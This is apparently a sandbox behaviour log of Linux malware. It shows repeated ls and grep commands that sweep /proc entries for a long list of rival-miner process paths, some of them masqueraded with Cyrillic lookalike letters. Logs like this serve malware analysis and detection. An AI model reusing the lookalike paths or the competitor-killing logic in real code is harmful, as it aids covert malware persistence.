  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1263
- /bin/grep
  grep exe
  2⤵
  PID:1267
- /bin/ls
  ls -latrh /proc/irq
  2⤵
  PID:1266
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1269
- /bin/grep
  grep exe
  2⤵
  PID:1273
- /bin/ls
  ls -latrh /proc/kallsyms
  2⤵
  PID:1272
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1276
- /bin/grep
  grep exe
  2⤵
  PID:1279
- /bin/ls
  ls -latrh /proc/kcore
  2⤵
  PID:1278
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1282
- /bin/ls
  ls -latrh /proc/key-users
  2⤵
  PID:1285
- /bin/grep
  grep exe
  2⤵
  PID:1286
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1288
- /bin/grep
  grep exe
  2⤵
  PID:1292
- /bin/ls
  ls -latrh /proc/keys
  2⤵
  PID:1291
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1295
- /bin/grep
  grep exe
  2⤵
  PID:1298
- /bin/ls
  ls -latrh /proc/kmsg
  2⤵
  PID:1297
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1301
- /bin/grep
  grep exe
  2⤵
  PID:1305
- /bin/ls
  ls -latrh /proc/kpagecgroup
  2⤵
  PID:1304
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1307
- /bin/grep
  grep exe
  2⤵
  PID:1311
- /bin/ls
  ls -latrh /proc/kpagecount
  2⤵
  PID:1310
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1314
- /bin/grep
  grep exe
  2⤵
  PID:1317
- /bin/ls
  ls -latrh /proc/kpageflags
  2⤵
  PID:1316
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1320
- /bin/grep
  grep exe
  2⤵
  PID:1324
- /bin/ls
  ls -latrh /proc/loadavg
  2⤵
  PID:1323
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1327
- /bin/ls
  ls -latrh /proc/locks
  2⤵
  PID:1329
- /bin/grep
  grep exe
  2⤵
  PID:1330
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1333
- /bin/grep
  grep exe
  2⤵
  PID:1336
- /bin/ls
  ls -latrh /proc/meminfo
  2⤵
  PID:1335
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1338
- /bin/grep
  grep exe
  2⤵
  PID:1341
- /bin/ls
  ls -latrh /proc/misc
  2⤵
  PID:1340
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1343
- /bin/grep
  grep exe
  2⤵
  PID:1346
- /bin/ls
  ls -latrh /proc/modules
  2⤵
  PID:1345
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1348
- /bin/grep
  grep exe
  2⤵
  PID:1351
- /bin/ls
  ls -latrh /proc/mounts
  2⤵
  PID:1350
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1353
- /bin/grep
  grep exe
  2⤵
  PID:1356
- /bin/ls
  ls -latrh /proc/net
  2⤵
  PID:1355
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1358
- /bin/grep
  grep exe
  2⤵
  PID:1361
- /bin/ls
  ls -latrh /proc/pagetypeinfo
  2⤵
  PID:1360
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1363
- /bin/grep
  grep exe
  2⤵
  PID:1366
- /bin/ls
  ls -latrh /proc/partitions
  2⤵
  PID:1365
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1368
- /bin/grep
  grep exe
  2⤵
  PID:1371
- /bin/ls
  ls -latrh /proc/sched_debug
  2⤵
  PID:1370
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1373
- /bin/grep
  grep exe
  2⤵
  PID:1376
- /bin/ls
  ls -latrh /proc/schedstat
  2⤵
  PID:1375
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1378
- /bin/grep
  grep exe
  2⤵
  PID:1381
- /bin/ls
  ls -latrh /proc/self
  2⤵
  PID:1380
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1383
- /bin/grep
  grep exe
  2⤵
  PID:1386
- /bin/ls
  ls -latrh /proc/slabinfo
  2⤵
  PID:1385
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1388
- /bin/grep
  grep exe
  2⤵
  PID:1391
- /bin/ls
  ls -latrh /proc/softirqs
  2⤵
  PID:1390
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1393
- /bin/grep
  grep exe
  2⤵
  PID:1396
- /bin/ls
  ls -latrh /proc/stat
  2⤵
  PID:1395
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1398
- /bin/grep
  grep exe
  2⤵
  PID:1401
- /bin/ls
  ls -latrh /proc/swaps
  2⤵
  PID:1400
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1403
- /bin/grep
  grep exe
  2⤵
  PID:1406
- /bin/ls
  ls -latrh /proc/sys
  2⤵
  PID:1405
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1408
- /bin/grep
  grep exe
  2⤵
  PID:1411
- /bin/ls
  ls -latrh /proc/sysrq-trigger
  2⤵
  PID:1410
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1413
- /bin/grep
  grep exe
  2⤵
  PID:1416
- /bin/ls
  ls -latrh /proc/sysvipc
  2⤵
  - System Network Configuration Discovery
  PID:1415
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1418
- /bin/grep
  grep exe
  2⤵
  PID:1421
- /bin/ls
  ls -latrh /proc/thread-self
  2⤵
  PID:1420
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1423
- /bin/grep
  grep exe
  2⤵
  PID:1426
- /bin/ls
  ls -latrh /proc/timer_list
  2⤵
  PID:1425
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1428
- /bin/grep
  grep exe
  2⤵
  PID:1431
- /bin/ls
  ls -latrh /proc/tty
  2⤵
  PID:1430
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1433
- /bin/grep
  grep exe
  2⤵
  PID:1436
- /bin/ls
  ls -latrh /proc/uptime
  2⤵
  PID:1435
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1438
- /bin/grep
  grep exe
  2⤵
  PID:1441
- /bin/ls
  ls -latrh /proc/version
  2⤵
  PID:1440
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1443
- /bin/grep
  grep exe
  2⤵
  PID:1446
- /bin/ls
  ls -latrh /proc/vmallocinfo
  2⤵
  PID:1445
- /bin/grep
